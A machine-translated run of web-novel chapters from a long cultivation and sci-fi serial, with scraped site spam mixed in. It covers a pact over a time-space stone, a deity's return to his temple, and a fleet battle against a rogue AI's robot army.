    So facing Wei Rulan, he just smiled faintly.


    "You don''t have to say anything about appreciation, just talk about the main point, you have brought me here, and so solemnly, what do you want!"


    "What I want is actually very simple, only two points!"


    "First, I don''t care what you want this stone for, but after you get it, UU Reading will first help me get rid of the federal government and the star ring behind them!"


    Xue An nodded and said without hesitation: "You don''t need to say this, I will do it naturally, second?"


    "Secondly, I want you to help me to carry forward this Santis and become a leading force in the entire galaxy and even the entire universe!"


    Hearing this, Xue An took a deep look at the girl in the wheelchair opposite. Even though she was some distance away, Xue An could still clearly see the burning ambition in her eyes.


    As if afraid of Xue An''s refusal, Wei Rulan explained immediately.


    "Don''t be surprised. The reason I want this condition is not because I want to occupy it. I just can''t bear to waste my years of hard work!"


    "After all, in order to be able to create Santis, my sister and I had a lot of hardships, and we finally managed to create the current good situation. Of course, we can''t give up lightly."


    Mi He Mi. "What you said for years of hard work meant that you brainwashed and controlled your subordinates by means of piercing?" Xue An said lightly.


    Wei Rulan was not surprised how Xue An knew this, and she was very calm.


    "Yes, I did this, but I did it for a reason!"


    "The people who can take refuge in my Santis are basically desperadoes. These people will be a great evil no matter where they are thrown, and it is a pity to kill them directly. Besides, even if I kill a wave, it will not help. On the contrary, they will Let the rest of the desperadoes run around again."


    "That''s why I decided to brainwash these heinous people by means of piercing, so that they can change their minds and become my powerful tools. This is also a good use of everything!"


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2662： Wait for

    "What''s the result?" Xue An asked with admiration looking at the talking girl.


    "The result is very good. Except for some people who are really stubborn, the others have basically changed their past. I told them to go to the left. They would never dare to go to the right."


    Speaking of this, Wei Rulan sighed softly, ��Of course, I also know that this is actually very unfair to the grievances who died in the hands of these people, so I just use their surplus value as much as possible. As for the actual For the most sinful people, I will let them settle on their own so that they can be fair to the sins they have committed!"


    Wei Rulan looked at Xue An with piercing eyes, "So your answer is..."


    "I promised!"


    "Huh?" Wei Rulan didn''t expect Xue An to promise so simply, he couldn''t help but be a little stunned.


    But I saw Xue An standing up, "Your idea is very good, and it is a feasible way, I naturally have no reason to refuse, so I promised you these two conditions!"


    While speaking, Xue An stretched out his hand, "Can you give it to me now?"


    A bright smile gradually bloomed on Wei Rulan''s face, and then she threw the stone of time and space in her hand without hesitation.


    She is not worried that Xue An will break his promise.


    Because a strong person who has reached his level will surely execute what he says, otherwise he will be burdened with cause and effect again.


    But where did she know that no matter how many conditions she made at the moment, Xue An would agree to it.


    Because as long as you gather the time and space stones, and then let the chaotic timeline return to its place, then everything will disappear again.


    Until then, there will be any Saints, so Xue An agreed without pressure.


    After holding this stone of time and space, Xue An''s complexion became solemn.


    Because he can clearly feel that this stone of time and space is very different from the two pieces of Carter family and Ten Thousand Ghosts.


    Regardless of its small size, the coercion contained in it is even more powerful.


    At the same time, Xue An felt his eyebrows hot, and then the two time-space stones stored in the sea of ??eyebrows quickly flew out and began to spin around the stone in his hand.


    This scene also stunned Wei Rulan.


    She didn''t expect this stone passed down from her family to be so powerful.


    At this moment, I saw that the stone of time and space in Xue An''s hand suddenly became brilliant, and immediately swallowed the two stones.


    boom!


    An invisible coercion rushed out of the brilliance, causing this solid secret room to rattle.


    Xue An smiled with joy, and then shook it sharply.


    call!


    A gust of wind blew in the secret room, and Wei Rulan couldn''t open his eyes at all.


    Finally, the wind subsided.


    When I looked up again, I saw Xue An standing on the spot, holding a stone the size of an egg and smooth as jade.


    "Sheng... was it successful?" Wei Rulan asked with some excitement.


    Xue An raised his eyes and smiled slightly, "It is almost a success, but there are still some things that need to be dealt with before we can make a decision!"


    After that, he turned and walked out.


    Wei Rulan didn''t understand too much, but it didn''t hinder her excitement.


    Because after the stone was passed into her hands, she tried every means to experiment, but all failed.


    Unexpectedly, such an abnormality appeared when he first arrived in his hands.


    This of course will make Wei Rulan deeply curious.


    The heavy door opened silently, and Xue An walked out. When he stepped out of the door, the corners of Xue An''s mouth rose slightly, revealing a cold smile.


    It''s just that this expression was fleeting, and Wei Rulan who followed behind didn''t notice it at all.


    When the group of them returned to the hall, Hu Ye, who was squatting depressed in a circle on the corner of the wall, stood up suddenly and said with a stunned expression on his face.


    "So fast? Your body is not good either!"


    A few black lines appeared on Xue An''s forehead, and in the next second, Fox Ye''s mouth was sealed again.


    Yu Ran tugged Yu Ming''s sleeve quietly, "Brother, what does he mean by that?"


    Yu Ming coughed, "Ah, it''s nothing, it''s just a very ordinary joke. Girl''s, don''t ask too much."


    Du Fan looked at Yu Ming strangely.


    This young master sword repairer...seems to understand!


    Not to mention the Fox Night, who danced and danced in protest, Xue An went straight to Zhang Tianyou and said something in a low voice. Sacrifice is like bxwx.co


    Zhang Tianyou''s expression changed, "Are you sure?"


    Xue An nodded.


    Zhang Tianyou took a deep breath, then solemnly said: "I know, when do you plan to start?"


    "soon."


    As he said, Xue An lowered his eyes and said lightly: "Because this is the only way to eliminate it."


    "Well, you can rest assured to do it, and leave the rest to me."


    The conversation between the two of them made everyone cloud and misty, completely incomprehensible.


    But from the information revealed in the few words and Zhang Tianyou''s extremely solemn expression, it can be seen that something extraordinary has happened.


    Yu Ming took the initiative to step forward, "Mr. Xue, did something happen? You are not talented. Although UU reading is low in strength, he is willing to do his best."


    Seeing this young Jian Xiu, Xue An smiled, "Don''t worry, everyone present can''t get rid of the relationship, because the next thing to do, everyone must work together."


    Everyone took a stand, and then said in unison: "Yes!"


    "Aba Aba Aba!" Only Huye pointed at his mouth impatiently, which meant that you should unlock the seal for me as soon as possible.


    But Xue An just glanced at him, then got up and walked out.


    "It''s not too late, everyone come with me!"


    Everyone walked out of the headquarters building of Santis, and then they saw Xue An looking up at the dark night sky.


    "Miss Wei!"


    "exist!"


    "How much power do you have in your hands now?"


    "Well, probably..."


    Xue An waved his hand, "Forget it, needless to say, no matter how much power you have, use it to block the void that you can block!"


    "Um?"


    Wei Rulan thought she had heard it wrong, but Xue An''s solemn expression did not seem to be joking, so she immediately nodded when her thoughts turned.


    "Understand, I will do it now!"


    After all, she and Wei Ruyan left in a hurry.


    In an instant, the originally calm star field immediately began to lively.


    There are countless ships rising on the stars, forming a black and overwhelming fleet in the void.


    Many people were moved by these grand scenes, but Xue An''s face was calm and whispered. Mi He Mi


    "Yu Ming!"


    Yu Ming was taken aback, then took a step forward.


    "Yu is here!"


    Xue An glanced at him, "Your sword is profitable?"


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2663： 2Langben Temple

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    Yu Ming was stunned and didn''t understand why Xue An asked, but the pride of being Jian Xiu still made him straighten his chest.


    "Although my sword is not as good as an adult in case, it is also called a sharp and unparalleled."


    But Xue An shook his head, "Not enough!"


    After hearing this, although Yu Ming did not refute, a touch of dissatisfaction appeared on his face.


    Seeing this, Xue An smiled slightly, "Get out of the sword!"


    "Huh?" Yu Ming didn''t understand what it meant.


    Xue An said calmly: "Since you are not convinced, then you will cut a sword at me to see if you can shake me!"


    As he said, Xue An opened his palm, "Remember, you only have one chance, so you have to show your full strength!"


    Yu Ming was a little surprised.


    He never thought that someone would actually make such a request to himself.


    It can be seen that Xue An''s serious appearance does not seem to be joking.


    "But Mr. Xue..."


    Yu Ming hesitated for a moment, just about to speak.


    Xue An frowned slightly, "How can you be such a mother-in-law as Jian Xiu, let you do it with your hands, why so much nonsense?"


    Yu Ming''s face flushed red, then gritted his teeth, "Offended!"


    Following this offense, Yu Ming''s hand suddenly exploded with a dazzling sword intent, stab Xue An as if he was practicing Changhong.


    This sword Yu clearly and practically did his best. Of course, he knew that it was wishful thinking to beat Xue An on his own strength.


    But his own sword is so overwhelming and fast, even if this Mr. Xue''s cultivation base is shocking, he might have to be in a hurry.


    But he never expected that at this moment, a light sigh came into his ears.


    "That''s it? It''s really worse than I thought!"


    With the voice, the dazzling sword light disappeared instantly. Looking at the long sword in Yu Ming''s hand, it stayed in a position that was not too big in front of Xue An, but this short distance was like a moat, not at all. save in.


    Because at this moment, Xue An clamped the blade of this sword with two fingers, even if Yu Ming struggled a few times, he couldn''t move a bit.


    At this point, Yu Ming understood just how big the gap between him and Xue An was.


    The sword intent that he was proud of was childish in front of him like a wooden stick waving in the hands of a child.


    Yu Ran opened his mouth even more, watching this scene in disbelief.


    Since childhood, her brother has been a hero in her mind.


    Invincible, a genius boy.


    These beautiful words are used to describe brother.


    But I never expected that my brother would lose so simply in front of this man today.


    Yu Ming''s face was pale, and he lowered his head in despair, "I''m defeated!"


    Just three words, but full of frustration.


    But at this moment, he only heard a loud drink sounding in his ears, "Look up!"


    The shock was not only his body but also his sword heart.


    He suddenly raised his head and looked at Xue An.


    Xue An said indifferently: "As a sword repairman, I should have an indomitable faith, and I can''t accept just a miserable defeat. How can it be a major event?"


    Yu Ming''s eyes gradually flickered.


    In the eyes of others, Xue An seems to be reprimanding Yu Ming.


    But only Yu Ming knew that every word that Xue An said contained an extremely mysterious sword intent.


    Every time he hears a word, his qi, blood and sword heart will be tempered once.


    After Xue An finished speaking, Yu Ming was sweating profusely, and his whole person was very different from before. It is not an exaggeration to describe it as a reborn.


    "Thank you, Mr., for your support and refinement!" Yu Ming bowed his head deeply.


    Xue An waved his hand, "Thank you, you don''t have to. I just provide you with an opportunity. You can understand how much is your chance, but there will be a severe test soon. I hope you can live up to this time. Opportunity."


    Yu Ming''s expression instantly became extremely serious, "Sir, don''t worry, I am determined to live up to my trust!"


    Earth, in a ruined temple by the river in Sichuan Province.


    Just after the rain that lasted for several days, the white-haired old Miaozhu staggered open the door of the main hall and took a closer look, and found that there were no new traces of rain leakage, and he could not help but let out a sigh of relief.


    Then the old temple wish tremblingly lit three grass incense and inserted it in the incense burner respectfully.


    Cigarettes swirled around, blurring the idol behind the shrine more and more.


    Seeing that even the golden paint was peeled off, revealing the statue of the muddy **** underneath, Lao Miaozhu sighed and muttered to himself.


    "Master Erlang, don''t dislike the old man. I''m not able to bear it. It''s really difficult to even eat in the temple now. There was a kitten who accompanied me before. As a result, even this kitten ran away hungry last month. "


    "I''m getting older by the day, and now I''m panting for sweeping the floor, and I really don''t have the ability to beg for you to reshape the idol."


    "Oh, what can we do even if we go to alms? Now that the path of cultivation is prosperous, everyone with a little foundation is busy cultivating, who will worship God and make a wish?"


    "Nowadays, the local gods have almost been abandoned, Lord Erlang, I may be your last temple blessing. When I die, this will become a real deserted temple!"


    Speaking of this, tears appeared in the old man''s eyes.


    He has been a monk in this Guankou Erlang Temple since he was a child, and dozens of them have passed.


    Although this small temple was not big at the beginning, because it is the main temple of the **** Erlang, the incense is still prosperous.


    But as China joined the federal government, the way of practice became more and more prosperous, and gradually no pilgrims came.


    And without the pilgrims, there would be no source of income. Soon, the people in the temple scattered all by themselves, and in the end he was the only one left to stay here.


    And now he is in his dying year, I really don''t know how long he can stay here.


    But at this moment, the dim idol suddenly flashed a golden light.


    This golden light flashed by, but it was so dazzling.


    The old temple was taken aback for a moment, then rubbed his eyes and looked again, and found that the idol remained the same, without any change, and couldn''t help but smile.


    "I''m so old, I''m actually dazzled to such an extent!"


    Shaking his head and sighing, Lao Miaozhu turned around and was about to leave.


    But at this moment, UU read www.uukanshu. Com, a more dazzling golden light flashed from the idol, and at the same time there was a violent vibration.


    Old Miaozhu looked back in amazement, and then saw that the idol that was sitting above the shrine had already come to life at this moment.


    The golden light illuminates the entire hall, and then a tall figure slowly walks down from the shrine.


    "How did my temple become like this?"


    There was a touch of sadness in the majesty, and the old temple Zhu thumped and fell to the ground, kowtowing frantically at this figure, and he praised it again and again.


    "Master Erlang has become a saint, Lord Erlang has become a saint!"


    Because the figure that walked down was a vertical eye between the eyebrows, and it was the **** of the mouth, Erlang Yangjian, who was circulated in Chinese myths and legends!


    For the convenience of reading next time, you can click "Favorites" below to record the reading record of this time (Chapter 2663 Erlang Temple), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2664： Attack is coming

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    At the same time, several figures emerged one after another from the golden light.


    One of the women walked to Yang Jian''s side and said with exclamation: "I didn''t expect that the prosperous Guankou Erlang Temple in those days would become what it is now!"


    "But this is pretty good, after all, Sister Empress, you don''t even have your own temple!" Another woman said behind her.


    The voice is gentle and beautiful, and full of unspeakable majesty.


    Old Miaozhu couldn''t help but look up secretly, and saw two women who looked like fairy tales approaching.


    The two of them were all surrounded by golden light, just after a glance, Old Miaozhu''s heart was greatly shocked, and then he bowed his head deeply and did not dare to look again.


    That''s right!


    Those who came were Yang Jian, Xiaotian, and Nine Heavens Profound Girl, Ao Shu and his party.


    They followed Xuantian to find the love in their hearts before returning to the earth.


    But before they could finish handling their own affairs, they met Xue An, and then many things happened.


    Especially looking for the stone of time and space involved most of the energy of Yang Jian and others.


    It wasn''t until Xue An found the trace of another time-space stone with Zhang Tianyou on Mars and told them the news that they were relieved.


    Then they started to go home separately.


    As a result, I don��t know if I don��t go home. I don��t know what Shi Yi Shi Yi is when I go home.


    Because the Chinese gods in this chaotic timeline have been tampered with and replaced by imaginary existences, almost no one believes in them anymore after practicing Dachang.


    This also caused the temples of many gods to be abandoned, such as the Nine Heavens Profound Girl being one of them.


    On the contrary, Yang Jian is not bad, and it still retains this small temple.


    As for Ao Shu.


    The reason why she didn''t appear during this period was because she was really unwilling to give up, so she went to the dragon clan ancestral land by herself.


    It turns out that he does not exist in this world.


    Even if she appeared in front of her sister, she didn''t recognize herself at all.


    Frustrated, Ao Shu returned to Earth, and then got together with Jiu Tian Xuan Nu and the others.


    In fact, she wanted to go to Mars to find Xue An, but Xue An, Zhang Tianyou and others had already left and left a message for her and Yang Jian Jiutian Xuannv and others to stay on Earth to guard.


    This is how they came together.


    At this time, Yang Jian walked to the old Miaozhu who was kneeling on the ground, and said softly: "I have heard what you just said. You did a good job. Get up!"


    Lao Miao wished the excited old tears.


    No believer can remain calm after seeing the gods he has believed in for a lifetime and standing in front of them.


    This old temple is no exception.


    I saw him shaking his head up, "Master Erlang, is it really you?"


    Yang Jian smiled and nodded, then reached out to help him personally.


    Lao Miao Zhu was flattered and stood up tremblingly, but because of his old age and physical frailty, he was too agitated, so his breathing became very short.


    Seeing this, Yang Jian''s vertical eyes flashed with golden light, and then he sank into Lao Miaozhu''s body.


    In an instant, the old Miaozhu, who had been in a dying year, felt his body start to get hot, and at the same time the bones made a crackling sound.


    However, in a moment, this old temple wish changed from a dying old man to rejuvenation to a man-of-life appearance.


    Naturally, these miracles made this old temple blessed with tears and tears.


    Yang Jian calmed him down with a few more words to calm him down.


    Then Yangjian stepped out of Erlang Temple, and there was a mighty river in front of the door.


    Seeing this river, Yang Jian sighed, "I really didn''t expect to be able to come back here after going out for so long."


    Standing beside him, Jiutian Profound Girl couldn''t help but nodded, "Yes, thinking about it now, what happened in these years is really like a dream."


    Both of them fell silent, standing quietly on the edge of the river, watching the river pass by.


    At the same time, in the distant Santis headquarters.


    Xue An has also done all the preparations, and then said to Hu Ye and Zhang Tianyou: "Next I will enter the dream state. This is related to whether the chaotic timeline can be changed back, and the star ring will definitely increase. Obstructing, so this period of time is all up to you!"


    At this time, Hu Ye didn''t have the usual tiredness and inattention, only to see him said with a serious face.


    "Okay, you can rest assured, I am here, there will be no mistakes."


    Xue An didn''t look at him, but instead turned his attention to Zhang Tianyou.


    Zhang Tianyou solemnly nodded, "I have taken care of everything, there should be nothing wrong!"


    Xue An nodded, then turned and walked to the secret room.


    "Hey, don''t you trust me so much? Why don''t you ask me?" Hu Ye cried out in a bit of annoyance.


    Xue An didn''t turn his head back, and said lightly: "Do you want to be sealed again?"


    Hu Ye immediately closed his mouth, "Uh...actually this is also very good, so what, I wish you all the best!"


    Xue Anyang raised his hand and then entered the secret room.


    The heavy door slowly closed.


    Hu Ye let out a sigh of relief, and then asked Zhang Tianyou on the side.


    "Hey Lao Zhang, do you think this star ring really dares to come? How do I think it won''t come if it is a little brainy?"


    Zhang Tianyou shook his head, "What you don''t understand, the star ring was built by me, so I know it better than anyone else. For it, everything can be calculated, including life!"


    "So if it decides that it needs to stop this, then it won''t give up no matter how much it costs!"


    Hu Ye curled his lips, "It''s so powerful, isn''t it all the clones on the earth that were destroyed by Old Xue with a single move?"


    As soon as the voice fell, the harsh alarm sounded suddenly across the sky.


    Fox night was taken aback.


    Zhang Tianyou reacted extremely quickly, and immediately shouted, "What''s the matter?"


    His portable computer responded immediately.


    "Just linked to the radar monitoring system of Santis, a large number of enemies appeared!"


    Zhang Tianyou glanced at Hu Ye, "Do you still think it can''t attack?"


    With that said, Zhang Tianyou immediately turned and left.


    At the same time, the whole Santis also began to lively.


    In the command room, Wei Rulan, who was also in a wheelchair, looked at the dense, dense spots on the big screen that seemed to cover the sky and the sun, her expression becoming more solemn.


    "I didn''t expect it to come so soon!"


    Speaking, UU reading www.uukanshu. com she said in a deep voice: "Start the first wave of blows immediately!"


    With an order, all the ships opened the turret in the direction of the light spot.


    boom!


    After a loud noise, the naval guns fired, and after the explosion, the light spots that had originally covered the entire screen disappeared.


    Fox Ye, who had just arrived in the command room, was overjoyed when he saw this scene.


    "It seems that the effect is not..."


    Before that typo was uttered, I saw the boundless light spot once again appeared, the density was so large that it even illuminates the entire monitoring screen.


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2664 Attack is Coming), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2665： Fierce battle

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    The light from those light spots illuminates the face of everyone present.


    Even Fox Night, who has always been optimistic, is not as easy as it used to be at this moment.


    On the contrary, Wei Rulan was calm and calm, without any hesitation, and directly pressed the launch button.


    In an instant, on the planet where the Santis headquarters was located, the tall buildings suddenly split from the middle, revealing the deep silo below.


    Immediately afterwards, one after another giant missiles slowly rose.


    Suddenly.


    Their tails burned with blazing light, and then they rose into the air at a terrifying speed, and blasted straight toward the battlefield.


    The speed of these missiles was extremely fast, but in the blink of an eye they crossed the Sainttis fleet''s line of defense, and then bombarded in this boundless ocean of light spots.


    Boom boom boom!


    Accompanied by a huge shock coming from the void, the originally dense light spots on the monitoring screen appeared a circle of blank space, and then quickly spread and connected together.


    However, looking at the scene of the tea, there is no light spot on the monitoring screen.


    But the command room is silent as before.


    Because everyone knows that this battle will never end.


    Hu Ye grinned and muttered in a low voice, "I have already attacked two waves. Will it be easier after this time?"


    Zhang Tianyou on the side shook his head when he heard the words, "Impossible, I know this star ring too well. Since it shots, it proves that the benefits here are worth any sacrifice."


    "So these two attacks are just a prelude, the real test is yet to come!"


    really.


    As soon as his voice fell, countless light spots appeared on the screen that had just gone blank.


    And rushed towards the Santis headquarters at an even faster speed than the previous two times.


    "You are really a crow''s mouth!"


    Hu Ye complained, but his subordinates didn''t have the slightest ambiguity and turned around and rushed out of the command room.


    At this moment, his heart is calm.


    He knew very well that this battle was crucial, because it was about whether his sister could return safely.


    In particular, the starring behaves so crazy, which just shows that Xue An is on the right path.


    Therefore, Hu Ye didn''t hesitate at all, and rushed towards the battlefield.


    He usually smiles hippiely, and he doesn''t seem to be angry anyhow.


    But once the matter concerns his sister, he will instantly transform into a cold-blooded killer, tearing up any existence that dares to hinder all of this.


    Just as he was ambitious and flew into the void, a slightly immature voice came from behind him.


    "Wait for me, I''ll go with you!"


    Hu Ye looked back, and it was Xiao Sha and Zhang Xiaoyu who were talking.


    "What are you going to do?"


    "Of course it''s going to kill the enemy! Our boss can say that these robots are so arrogant, obviously they didn''t put us in the eye, so we must teach them a severe lesson!" Zhang Xiaoyu waved his tentacles, very excited. Words.


    "Go into battle to kill the enemy? Just rely on you two?" Hu Ye was full of disbelief.


    Xiao Sha raised her chin proudly, "Why? Don''t believe it? During this period of time, the master has given me a lot of exercises. With diligent practice, I consciously improve my cultivation. Of course it is not a problem to deal with a group of robots. ."


    "Yes, it''s the same with me. You can see that my tentacles can be twisted like this now. They must be amazing!"


    The tentacles on the octopus waved back and forth, forming a Chinese knot shape, with a proud face.


    Fox night: "..."


    "Well, since you are willing to contribute, then follow up!"


    With that, Hu Ye stopped delaying, and rushed towards the depths of the void.


    The three figures quickly rushed across the line of defense formed by the fleet and came to the edge of the battlefield.


    Then the scene they saw made them all look at it.


    I saw a mess in the void, with countless broken mechanical parts scattered in it, forming a doomsday scene full of cyberpunk flavor.


    But even in such a scene, one after another mechanical soldiers jumped out of it one after another, rushing towards the fleet defense line.


    These mechanical soldiers were tall and large, and they were running extremely fast, moving very flexibly amidst the rain of bullets sent by the Santis fleet.


    Although most of them fell midway in the end, from time to time, a few slippery fish rushed to the front of the fleet, and then launched fierce attacks.


    Boom boom boom!


    With a loud noise, some smaller ships with weaker defenses were easily destroyed.


    Even those large warships are not immune, because when these mechanical soldiers see that a simple attack cannot break the defenses of these large warships, they will directly explode, tearing apart the armor of these large warships with their bodies.


    Linghuye was moved by this tragic scene, but he quickly calmed down and rushed forward without saying a word.


    The nine foxtails opened completely in the middle of the journey, and then wrapped up all the mechanical soldiers along the way, and slammed.


    Boom boom boom!


    With a loud noise, these mechanical soldiers exploded in the air like fireworks.


    However, the speed of Hu Ye''s advance was extremely fast, which also made the explosion sound behind him.


    Xiaosha and Zhang Xiaoyu looked at each other, and then rushed out in the opposite direction.


    Xiao Sha roared, revealing the original form of the body, and the huge dragon tail smashed the rushing mechanical soldiers to pieces.


    As for Zhang Xiaoyu, she saw her tentacles grow to a length of several thousand meters, pulling on the limbs of a mechanical soldier extremely flexibly, and then pulled hard.


    Click!


    This mechanical soldier was abruptly torn off its limbs, and then its electronic eyes glowed with red light, which was a sign that it was about to explode.


    But the next second, another tentacle rushed out and pierced its chest directly.


    boom!


    The energy core of this mechanical soldier was pierced, and then its electronic eyes quickly dimmed and died.


    Zhang Xiaoyu was complacent about this, and shouted at Xiaosha: "Boss, don''t you look at me?"


    Xiao Sha said coldly: "Don''t look!"


    Zhang Xiaoyu: "..."


    With the cooperation of the three of them, UU Reading www.uukanshu. com soon wiped out all these mechanical soldiers on the battlefield.


    The three reunited, and then Huye let out a sigh of relief, applauding: "Good job!"


    Xiaosha smiled without saying a word.


    Only Zhang Xiaoyu shouted excitedly: "It''s enjoyable, it''s so enjoyable, but unfortunately there are too few tin cans. I haven''t killed enough. There will be no more!"


    As soon as the voice fell, the mechanical parts all over the void suddenly began to converge, and then, these broken mechanical parts were quickly assembled as if they were spiritual.


    In the blink of an eye, a mechanical soldier who was only taller than before appeared in front of the three.


    Zhang Xiaoyu who watched this scene was stunned.


    "I wipe, can I still play like this?"


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2665 Battlefield Fighting), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2666： Human brain against computer

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    As soon as the voice fell, she received a heavy blow from Xiao Sha on the head.


    "Let you talk nonsense, now it''s alright, isn''t it fun to go? Then you go!"


    Zhang Xiaoyu touched his head and smiled, "Boss, don''t be angry, I... Didn''t I just say it casually, and what else can I do if I show up? It''s not all of us!"


    Just as the two of them were fighting, Hu Ye said coldly: "Stop talking, do it now!"


    With that said, he rushed out first, which blocked the mouths of the two of them.


    soon.


    The three did the same, Hu Ye rushed out in one direction alone, while Xiao Sha and Zhang Xiaoyu rushed out in the opposite direction.


    But this time Zhang Xiaoyu was not as easy as before.


    Because this time the mechanical soldiers are obviously much taller and stronger than the previous ones.


    Under the circumstances, her tentacles need a lot of strength to tear off a mechanical soldier.


    "What the **** is this? How come these mechanical soldiers are much better than before?" Zhang Xiaoyu exclaimed.


    In contrast, Xiaosha is much less affected, but even so, her speed will inevitably slow down.


    At this moment, Fox Ye rushed all the way and wiped out the mechanical soldiers in the field again.


    But after all this was done, he couldn''t see the slightest joy on his face, but he was extremely solemn.


    "These mechanical soldiers are evolving, and they are almost immortal!"


    really.


    As soon as Fox Ye''s voice fell, the mechanical soldiers who had just been destroyed began to gather again and regroup.


    At this time, the faces of the three of them became a little pale.


    Although they are still capable of dealing with these mechanical soldiers, it is of no avail.


    Because these mechanical soldiers are almost immortal, and every elimination will make them stronger.


    In this situation, even Fox Ye inevitably felt despair.


    The leak in the house was rainy and rainy. Just as the three of them were at a loss, the fleet defense line behind them suddenly turned the direction of the gun barrel, and blasted a shot towards the three of them.


    Unprepared, the three of them hurriedly avoided this wave of attacks.


    Then Zhang Xiaoyu roared angrily: "What''s the matter? Why are you still attacking us?"


    Fox Night''s complexion changed drastically.


    He knew very well that these Santis fleets would never attack him for no reason. Something must have happened, so that the present scene appeared.


    And just as Hu Ye had guessed, an extremely thrilling scene indeed appeared in the command room at this time.


    I saw many flickering pictures appearing on the screens all over the command room.


    These images are noisy and chaotic, and flicker extremely fast, as if there is some kind of existence vying for command.


    Wei Rulan''s face was pale, because at this moment all the buttons on the podium in front of her had failed.


    This means that she has lost command of her fleet.


    This made her heart dripping with blood, and forbearing her inner anger and unwillingness, she looked at Zhang Tianyou who was aside.


    At this moment, Zhang Tianyou was sitting in front of a supercomputer, his eyes fixed on the screen, and his subordinates were very lucky, typing something.


    The code on the screen is pouring down like a waterfall, so fast that people can''t see the details at all.


    Sudden.


    He shouted, "Turn off all power supplies in the command room except this computer!"


    The command made everyone present stare at each other.


    Wei Rulan immediately shouted, "Listen to him, and execute it immediately!"


    Soon, all the power supplies in the command room were turned off, and only the emergency light above the head and the computer in front of Zhang Tianyou were still on.


    Zhang Tianyou tapped the keyboard faster, almost phantoms appeared on his fingers.


    The crackling percussion made everyone''s heart clenched into a ball.


    Wei Ruyan couldn''t help but asked in a low voice: "What is he doing?"


    Wei Rulan said: "He is fighting for control. Just now, it was obviously that Xinghuan sneaked into the network of the command room, so we lost control of the fleet, and now he is starting a desperate fight with Xinghuan on the network. fight!"


    Wei Rulan was right.


    At this time, Zhang Tianyou was pursuing Star Ring on the Internet.


    Xue An had guessed that Star Ring would have this move before entering the dream, so he told Zhang Tianyou and asked him to prepare in advance.


    That''s why Zhang Tianyou started planning everything in advance, including this supercomputer, which he specially ordered Wei Rulan to prepare in advance.


    When the consciousness of the star ring just sneaked into the command room network, he immediately launched an encirclement and suppression.


    And this star ring is naturally not vegetarian, especially because it is artificial intelligence, which is like an omnipotent **** in the network field, occupying a great advantage.


    So from the very beginning, Zhang Tianyou was at an absolute disadvantage.


    Star Ring easily gained control of the fleet, so it launched a sneak attack on the three of Huye and Xiaosha Zhang Xiaoyu.


    But Zhang Tianyou made a decisive decision and immediately turned off the power to the entire command room.


    Without foreign aid, the consciousness of this star ring can only wrestle with Zhang Tianyou in this supercomputer.


    In this way, the advantage of the star ring is cancelled out.


    But even so, dense beads of sweat ooze out of Zhang Tianyou''s forehead.


    The speed of tapping the keyboard with both hands and ten fingers has reached an incredible level.


    This is because the star ring at this moment is like a trapped beast, fighting back desperately.


    In this case, Zhang Tianyou created a miracle that is almost impossible to accomplish, that is, relying on the human brain to compete with artificial intelligence.


    Moreover, the wind did not fall at all, and even gradually formed a tendency of crushing.


    Even if Wei Rulan and the others couldn''t understand the danger, they were still deeply infected, holding their breath and daring not to come out of the atmosphere.


    Sudden.


    Zhang Tianyou hit the space bar violently.


    Everything on the screen stopped instantly.


    The code of Pentium as a river turned into nothing, Zhang Tianyou''s fingers trembled slightly, scary red.


    As for the keyboard in front of him, it was completely broken after an overwhelmed groan.


    "How...how?" Wei Ruyan couldn''t help but asked in a low voice. U U Reading


    Zhang Tianyou said in a hoarse voice: "Let it escape at the last minute!"


    The faces of everyone could not help showing disappointment.


    "But at least the current command room network has no place for it, and it is estimated that it will not dare to come, so turn on the power!"


    Wei Rulan winked, and the power turned on.


    The command room is bright again.


    At this moment, blood was slowly flowing out of Zhang Tianyou''s nostrils.


    That is the sequelae of overuse of the brain.


    But at this moment Zhang Tianyou can''t take much care of it, and said in a deep voice, "Now that it has been hit hard, let''s attack!"


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2666 Human Brain Against Computer), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2667： Mechanical running dog

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    Earth, Zhongdu.


    Si Qingqing happily lined up behind the long line, and said to Feibai, who was standing aside with a look of irreverence.


    "Brother, this milk tea is very famous. I deliberately checked the homework on the Internet. I said that his milk tea is made manually through more than a dozen processes. I guarantee that you will want to drink it a second time after drinking it once! There will be so many people in line!"


    Hearing this, Feibai rolled his eyes, "I really don''t understand what you little girls think. Even if this thing is delicious, isn''t it still a cup of milk tea? As for such a long line?"


    "You don''t understand, this drink is not only milk tea, but also a life style, don''t you think it is a sense of accomplishment to get a cup of something that is sought after by many people and drink it?"


    Feibai shook his head, "I don''t think, and..."


    Feibai raised his hand, and the big carrying bag in his hand was full, filled with all kinds of Internet celebrity snacks.


    "If these things can give you the so-called sense of accomplishment, then this sense of accomplishment is too cheap! And are you sure you can eat all these things?"


    "Oh, brother, you don''t understand, these things are not for eating!" Speaking of this, Si Qingqing suddenly asked.


    "Do you think it''s boring to go shopping with me? Then let''s go back now?"


    To be honest, Feibai really wanted to nod his head.


    Because he felt that walking down the street this day was more tiring than practicing swords for a whole day.


    In particular, he still didn''t understand what these little girls liked and sought after. The boringness of them can be imagined.


    But when he saw his sister''s hopeful eyes, he gritted his teeth and shook his head.


    "It''s okay, since it''s out, it''s fun, don''t worry about me!"


